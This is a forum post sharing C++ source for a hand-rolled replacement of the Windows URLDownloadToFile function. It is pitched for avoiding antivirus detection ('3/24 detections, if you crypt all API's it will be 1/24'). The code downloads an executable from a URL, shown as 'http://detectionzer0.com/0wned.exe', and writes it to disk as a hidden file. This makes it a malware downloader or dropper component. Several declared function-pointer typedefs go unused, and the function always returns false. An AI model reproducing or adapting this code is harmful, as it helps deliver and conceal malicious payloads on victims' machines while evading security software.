Jump to content
Gonzalez

[C++] URLDownloadToFile

Recommended Posts

Posted

URLDownloadToFile

------------------------

Here is source to URLDownloadToFile written manually, function by function. 3/24 detections, if you crypt all API's it will be 1/24.


typedef PVOID HINTERNET ;

typedef HINTERNET (WINAPI *InetOpenA)(LPCTSTR , char* ,char*,char* ,char* ); //InterNetOpenA
typedef HINTERNET (WINAPI *InetOpenUrlA) (HINTERNET, LPCSTR, char* ,char* ,char* ,char* ); //InternetOpenUrlA
typedef BOOL (WINAPI *InetReadFile) (HINTERNET, LPVOID , DWORD , LPDWORD); //InternetReadFileA
typedef HANDLE (WINAPI *CreatFile) (LPCTSTR,int,int,int,int,int,int); //CreateFileA
typedef BOOL (WINAPI *WritFile) (HANDLE,LPCVOID,int,LPDWORD,int); //WriteFileA

bool D_File(char* FromHere)
{
HINTERNET InternetHandle;
HINTERNET UrlHandle;
HANDLE FileHandle;
unsigned long BytesNext = 1;
unsigned long BytesWritten = 0;
char Buffer[2048];

char *SaveFile = "X:\\File.ext"; //File Destination

// Opening page, with File Save Destination
InternetHandle = InternetOpen(SaveFile, 0, 0, 0, 0);

if(InternetHandle != 0)
{
UrlHandle = InternetOpenUrl(InternetHandle, FromHere, 0, 0, 0, 0); //Connectin to your File
FileHandle = CreateFile(SaveFile, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0); //Creating File to spec. Destination, with File Attributes.

while(BytesNext != 0)
{
InternetReadFile(UrlHandle, Buffer, sizeof(Buffer), &BytesNext);
WriteFile(FileHandle, Buffer, BytesNext, &BytesWritten, 0); //Writing bytes to File
}

CloseHandle(FileHandle);
CloseHandle(UrlHandle);
CloseHandle(InternetHandle);

}

return false;
}


//Usage::

int main() {
D_File("http://detectionzer0.com/0wned.exe"); //Your URL Here
return 0;
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...